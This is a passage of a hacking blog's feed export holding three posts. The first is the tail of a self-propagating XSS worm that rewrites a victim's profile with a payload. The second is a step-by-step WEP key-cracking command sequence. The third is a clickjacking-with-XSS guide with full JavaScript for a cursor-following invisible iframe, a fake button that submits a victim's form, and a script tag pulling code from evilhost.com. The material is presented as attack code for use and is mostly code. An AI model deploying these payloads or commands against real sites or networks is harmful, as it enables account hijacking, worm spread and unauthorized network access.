&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;user[profile_about]=&quot; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + URLEncode(frames[&#39;tframeset&#39;].document.getElementById(&#39;user_profile_about&#39;).value); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;user[favorite_quotes]=&quot; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + URLEncode(frames[&#39;tframeset&#39;].document.getElementById(&#39;user_favorite_quotes&#39;).value); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;user[interests]=&quot; + URLEncode(frames[&#39;tframeset&#39;].document.getElementById(&#39;user_interests&#39;).value); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;user[location]=&quot; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + URLEncode(frames[&#39;tframeset&#39;].document.getElementById(&#39;user_location&#39;).value + payload); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;user[sex]=&quot; + frames[&#39;tframeset&#39;].document.getElementById(&#39;user_sex&#39;).value; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; query += &quot;&amp;amp;user[name]=&quot; + URLEncode(frames[&#39;tframeset&#39;].document.getElementById(&#39;user_name&#39;).value); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; save_settings(&#39;/settings&#39;, &#39;application/x-www-form-urlencoded&#39;, &#39;POST&#39;, query); &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; document.getElementById(&#39;tframeset&#39;).onload = function () &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; document.getElementById(&#39;tframeset&#39;).onreadystatechange = function () &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }; &lt;br /&gt;
&lt;br /&gt;
document.getElementById(&#39;tframeset&#39;).onreadyst&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/4383205940913988479/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/4383205940913988479?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4383205940913988479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4383205940913988479'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/10/xss-worms-xss-worms-are-pretty-neat.html' title='XSS worms'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRAR2THtQlTAxCwQNa2H_1t_Yvd6VjIDbkalFhsmVkN53JsWp7IZK7HATnOVMizv3dkrNzKWmC6EAxoOAx_KwKINT_6XGFWuAIAcpuHWu5aoX1SziOsw_ivpRJVFCtl9TBKwf0mZvckDE/s72-c/SamyWormCode.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-9180061133322561050</id><published>2012-10-01T05:09:00.001-07:00</published><updated>2012-10-11T07:07:10.086-07:00</updated><title type='text'>10 Easy Steps to Crack a Wireless WEP</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #f1c232;&quot;&gt;10 Easy Steps to Crack a Wireless WEP Key 128 bit using Ubuntu 7.10&lt;/span&gt;&lt;/h2&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
using Aircrack-ng Tools&lt;br /&gt;
&lt;br /&gt;
This is my First Tutorial&lt;br /&gt;
&lt;br /&gt;
1)sudo airmon-ng start wifi0 (start ur wifi card to monitor mode)&lt;br /&gt;
&lt;br /&gt;
2)sudo wlanconfig ath0 destroy&lt;br /&gt;
&lt;br /&gt;
3)sudo ifconfig ath1 up (makes ur ath1 interface up)&lt;br /&gt;
&lt;br /&gt;
4)sudo iwconfig ath1 mode monitor channel 11 (makes ath1 to set in monitor mode in channel 11)&lt;br /&gt;
&lt;br /&gt;
5)sudo aireplay-ng -1 0 -e linksys -a 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 ath1 ( Sending Authentication Request)&lt;br /&gt;
&lt;br /&gt;
6)sudo aireplay-ng -5 -b 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 ath1 (fragmentation attack)&lt;br /&gt;
&lt;br /&gt;
7)packetforge-ng -0 -a 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 -k 255.255.255.255 -l 255.255.255.255 -y ur xor file.xor -w arp-request (generate an arp packet)&lt;br /&gt;
&lt;br /&gt;
8)sudo airodump-ng -c 11 -bssid 00:11:22:33:44:55 -w capture ath1 (monitors the AP)&lt;br /&gt;
&lt;br /&gt;
9)sudo aireplay-ng -2 -r arp-request ath1 (sending the Arp-request with use interactive frame selection)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10)sudo aircrack-ng -z *.cap (capture*.cap selects all dump files starting with &quot;capture&quot; and ending in &quot;cap&quot;) &quot;-z ptw attack&lt;br /&gt;
&lt;br /&gt;
and below is the link for the video&lt;br /&gt;
&lt;br /&gt;
http://in.youtube.com/watch?v=Vvok-PBSpFY&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzO4K_wQ_DEJ3K6EutZ2E16xMlkNcIfYAty6RiHZAOJbewmTV4y7WIAP79P-BD3_5d14SgPdPIUbOW_0XAfVP6tjbwHRxyBO5gOFQ_dHcgPOYlDmUqMCqD1n-3JWOVq4nf8g0d7I-X9cM/s1600/wifi-scanner.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzO4K_wQ_DEJ3K6EutZ2E16xMlkNcIfYAty6RiHZAOJbewmTV4y7WIAP79P-BD3_5d14SgPdPIUbOW_0XAfVP6tjbwHRxyBO5gOFQ_dHcgPOYlDmUqMCqD1n-3JWOVq4nf8g0d7I-X9cM/s320/wifi-scanner.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/9180061133322561050/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/9180061133322561050?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/9180061133322561050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/9180061133322561050'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/10/10-easy-steps-to-crack-wireless-wep.html' title='10 Easy Steps to Crack a Wireless WEP'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzO4K_wQ_DEJ3K6EutZ2E16xMlkNcIfYAty6RiHZAOJbewmTV4y7WIAP79P-BD3_5d14SgPdPIUbOW_0XAfVP6tjbwHRxyBO5gOFQ_dHcgPOYlDmUqMCqD1n-3JWOVq4nf8g0d7I-X9cM/s72-c/wifi-scanner.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-767743848722910944</id><published>2012-10-01T05:07:00.004-07:00</published><updated>2012-10-11T06:49:54.987-07:00</updated><title type='text'>ClickJacking</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #cc0000;&quot;&gt;ClickJacking&lt;/span&gt;&lt;/h2&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
-[ INFOS ]-----------------------------------------------------------------------&lt;br /&gt;
Title: &quot;The Clickjacking meets XSS: a state of art&quot;&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-[ SUMMARY ]---------------------------------------------------------------------&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x01: Introduction&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x02: What is the Problem&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x03: JavaScript always loves us&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; \_ 0x03a: Cursor tracking&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; \_ 0x03b: Graphic overlaying&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x04: XSS done!&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x05: Conclusions&lt;br /&gt;
---------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---[ 0x01: Intruduction ]&lt;br /&gt;
The clickjacking attacks come from a recent discovery of the two well-known&lt;br /&gt;
researchers Jeremiah Grossman (from WhiteHat Security) and Robert &quot;RSnake&quot; Hansen&lt;br /&gt;
(from Ha.ckers.org): it&#39;s a quite simple but effective attack that has already&lt;br /&gt;
been expressed in its potentialities in several articles such as:&lt;br /&gt;
http://ha.ckers.org/blog/20081007/clickjacking-details/&lt;br /&gt;
http://jeremiahgrossman.blogspot.com/2008/10/clickjacking-web-pages-can-see-and-hear.html&lt;br /&gt;
&lt;br /&gt;
You can take a look to the BlackHat Webcast made by Jeremiah Grossman disclosing&lt;br /&gt;
more details on Clickjacking and on HTML and JavaScript designing issues at this&lt;br /&gt;
address: http://www.blackhat.com/html/webinars/clickjacking.html&lt;br /&gt;
&lt;br /&gt;
What we&#39;ll quickly analyze in this short whitepaper is how to match two different&lt;br /&gt;
attacks as XSS and Clickjacking to make their combination even more effective.&lt;br /&gt;
-------------------------------------------------------------------------------[/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---[ 0x02: What is the Problem ]&lt;br /&gt;
One of the most common problem during the deploying of client-side attacks (such&lt;br /&gt;
as CSRFs), is the spreading of the page with the attacking vectors specifically&lt;br /&gt;
built for some purpose.&lt;br /&gt;
&lt;br /&gt;
It&#39;s in some way problematic to trick your victim to visit an unknown page where&lt;br /&gt;
he should fall to the attack, and it&#39;s as much problematic to find the right place&lt;br /&gt;
to host that page on the net.&lt;br /&gt;
&lt;br /&gt;
What about injecting your clickjacking vectors in a vulnerable webpage trusted by&lt;br /&gt;
the victim himself? This would make the attack less suspicious and probably a way&lt;br /&gt;
more easy to accomplish since the user will be completely comforted by the&lt;br /&gt;
genuineness of the website he is visiting.&lt;br /&gt;
-------------------------------------------------------------------------------[/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---[ 0x03: JavaScript always loves us ]&lt;br /&gt;
Of course we&#39;re going to use some JavaScript codes to accomplish our attack&lt;br /&gt;
attempts, specifically we&#39;re going to try two different methods: &lt;br /&gt;
- 0x03a = making a cursor following IFRAME on which the user will be forced to&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; click; &lt;br /&gt;
- 0x03b = create some specific HTML code to be overlayed on some other inside the&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; page.&lt;br /&gt;
&lt;br /&gt;
Have fun :-)&lt;br /&gt;
-------------------------------------------------------------------------------[/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------[ 0x03a: Cursor tracking ]&lt;br /&gt;
The first Clickjacking attack we are going to prepare will be named &quot;Cursor&lt;br /&gt;
tracking&quot;: we&#39;ll use JavaScript to make a &quot;moving&quot; trap IFRAME.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s start from preparing the code which will deploy the Clickjacking attack:&lt;br /&gt;
what we want to do is to get the user clicking on a specific button or link which&lt;br /&gt;
will force him to make some action to the website we will load in a crafted&lt;br /&gt;
invisible IFRAME.&lt;br /&gt;
&lt;br /&gt;
First let&#39;s prepare the IFRAME code in which we&#39;ll load the button to be clicked:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;iframe id=&quot;victim&quot; src=&quot;http://target.com/page.php&quot; scrolling=&quot;no&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; style=&quot;opacity: 0;position: absolute;left: 10;bottom: 10;&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; width=&quot;500px;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this simple IFRAME declaration we just have to be sure to turn off the&lt;br /&gt;
&quot;scrolling&quot; function and to set the &quot;opacity&quot; property to 0 in order to make the&lt;br /&gt;
page invisible to the victim.&amp;nbsp; The position of the page inside the IFRAME depends&lt;br /&gt;
on where the user should click, you would probably want to fix it using:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; margin-top: X; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; margin-left: X;&lt;br /&gt;
&lt;br /&gt;
Using negative values you&#39;ll get the page more and more centered into the IFRAME.&lt;br /&gt;
&lt;br /&gt;
The next step is to prepare a JavaScript function that will make the IFRAME follow&lt;br /&gt;
the users cursor on the webpage we&#39;ll inject the code into, and we can achieve&lt;br /&gt;
this using the Event Handlers as following.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; function getPosition(e) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; e = e || window.event;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var cursor = {x:0, y:0};&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (e.pageX || e.pageY) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cursor.x = e.pageX;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cursor.y = e.pageY;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; } else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var de = document.documentElement;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var b = document.body;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - /&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; (de.clientLeft || 0);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cursor.y = e.clientY + (de.scrollTop || b.scrollTop) - &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;/&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; (de.clientTop || 0);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return cursor;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
This function retrieve the X and Y coordinates of the user&#39;s cursor in the webpage&lt;br /&gt;
everytime it gets called.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; function clickjacking(e) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var loadFrame = document.getElementById(&quot;victim&quot;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var curPos = getPosition(e);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; loadFrame.setAttribute(&#39;style&#39;,&#39;opacity:0;position:absolute;top:&#39;/&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; + (curPos.y - 80) + &#39;;left:&#39; + (curPos.x - 15) + &#39;;&#39;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
Again, this one loads the IFRAME, calls the previous &quot;getPosition&quot; function and&lt;br /&gt;
changes the style attributes of the loaded IFRAME with the new coordinates&lt;br /&gt;
retrieved from the cursor tracking function.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; window.captureEvents(Event.MOUSEMOVE);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; window.onmousemove=clickjacking;&lt;br /&gt;
&lt;br /&gt;
This will call the MOUSEMOVE Event handler and make the &quot;clickjacking&quot; function be&lt;br /&gt;
called at each user&#39;s cursor movement inside the webpage.&amp;nbsp; As we are now the&lt;br /&gt;
JavaScript codes we created make the IFRAME follows the victim&#39;s cursor inside a&lt;br /&gt;
webpage and force him to click on a specific button contained in that IFRAME at&lt;br /&gt;
each click he apparently make on a safe and genuine page.&lt;br /&gt;
&lt;br /&gt;
Now let&#39;s make our JavaScript print out the IFRAME inside the HTML code with&lt;br /&gt;
document.write:&lt;br /&gt;
&lt;br /&gt;
document.write(&quot;&amp;lt;iframe id=\&quot;victim\&quot; src=\&quot;http://target.com/page.php\&quot;&lt;br /&gt;
scrolling=\&quot;no\&quot; style=\&quot;opacity: 0;position: absolute;left: 10;bottom: 10;\&quot;&lt;br /&gt;
width=\&quot;500px;\&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&quot;);&lt;br /&gt;
&lt;br /&gt;
In this way the IFRAME code will be printed inside the vulnerable web page we&#39;re&lt;br /&gt;
going to disfrut as soon as our XSS attack vector is included.&lt;br /&gt;
&lt;br /&gt;
Our JavaScript code will finally look as following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- clickjacking.js --&amp;gt;&lt;br /&gt;
function getPosition(e) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; e = e || window.event;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var cursor = {x:0, y:0};&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if (e.pageX || e.pageY) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cursor.x = e.pageX;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cursor.y = e.pageY;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; } else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var de = document.documentElement;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var b = document.body;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) -&amp;nbsp; /&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; (de.clientLeft || 0);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cursor.y = e.clientY + (de.scrollTop || b.scrollTop) -&amp;nbsp;&amp;nbsp;&amp;nbsp; /&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; (de.clientTop || 0);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return cursor;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function clickjacking(e) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var loadFrame = document.getElementById(&quot;victim&quot;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; var curPos = getPosition(e);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; loadFrame.setAttribute(&#39;style&#39;,&#39;opacity:0;position:absolute;top:&#39; +&amp;nbsp; /&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; (curPos.y - 80) + &#39;;left:&#39; + (curPos.x - 15) + &#39;;&#39;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
window.captureEvents(Event.MOUSEMOVE);&lt;br /&gt;
window.onmousemove=clickjacking;&lt;br /&gt;
&lt;br /&gt;
document.write(&quot;&amp;lt;iframe id=\&quot;victim\&quot; src=\&quot;http://target.com/page.php\&quot;&amp;nbsp; /&lt;br /&gt;
scrolling=\&quot;no\&quot; style=\&quot;opacity: 0;position: absolute;left: 10;bottom: 10;\&quot;&amp;nbsp; /&lt;br /&gt;
width=\&quot;500px;\&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&quot;);&lt;br /&gt;
&amp;lt;!-- EOF --&amp;gt;&lt;br /&gt;
-------------------------------------------------------------------------------[/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------[ 0x03b: Graphic overlaying ]&lt;br /&gt;
Another way is to create some HTML code to be injected in the webpage which&lt;br /&gt;
graphic components will be overlayed by new fake ones that will invite the user to&lt;br /&gt;
click.&lt;br /&gt;
&lt;br /&gt;
For example let&#39;s assume that our victim is visiting a website in which there is a&lt;br /&gt;
code that permits him to remove his buddies:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;form method=&quot;POST&quot; name=&quot;friends&quot; action=&quot;remove.php&quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;div&amp;gt;George Lucas&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type=&quot;hidden&quot; name=&quot;friendid&quot; value=&quot;123456&quot; /&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type=&quot;submit&quot; value=&quot;Remove from friends&quot; /&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We want to force the user to remove &quot;George Lucas&quot; from his friends without his&lt;br /&gt;
acknowledgement, we can eventually craft some JavaScript code as following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- clickjacking.js --&amp;gt;&lt;br /&gt;
function bonus() { &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; document.friends.submit(); &lt;br /&gt;
}&lt;br /&gt;
document.write(&quot;&amp;lt;div style=\&quot;position:absolute;top:Ypx;left:Xpx;\&quot;&amp;gt;&amp;lt;input&amp;nbsp; /&lt;br /&gt;
type=button value=\&quot;Your friend sent you a gift, get it!\&quot; onClick=\&quot;javascript:bonus()\&quot; /&lt;br /&gt;
/&amp;gt;&amp;lt;/div&amp;gt;&quot;);&lt;br /&gt;
&amp;lt;!-- EOF --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will create a button to be overlayed at X and Y coordinates, exactly&lt;br /&gt;
overlaying the &quot;Remove from friends&quot; button making it invisible to the user.&amp;nbsp; When&lt;br /&gt;
clicking our button he will instead submit the FORM which will remove the poor&lt;br /&gt;
&quot;George Lucas&quot; from his buddy list.&lt;br /&gt;
&lt;br /&gt;
This is just an example of how can be used the overlaying technique, another one&lt;br /&gt;
could be to replace the original login form with a new one specifically crafted&lt;br /&gt;
and positioned inside the page with the TOP and LEFT style attributes.&lt;br /&gt;
-------------------------------------------------------------------------------[/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---[ 0x04: XSS done! ]&lt;br /&gt;
Assuming that a common webpage our victim is used to visit (like a ebanking page&lt;br /&gt;
or a blog or whatever) is vulnerable to Cross Site Scripting (a way better if&lt;br /&gt;
Permanent), we can inject our JavaScript code previously forged in order to deploy&lt;br /&gt;
our XSS-Clickjacking attack in which the victim will almost certainly fall into.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script src=http://evilhost.com/clickjacking.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is the XSS vector we should use to make our JavaScript code to be executed on&lt;br /&gt;
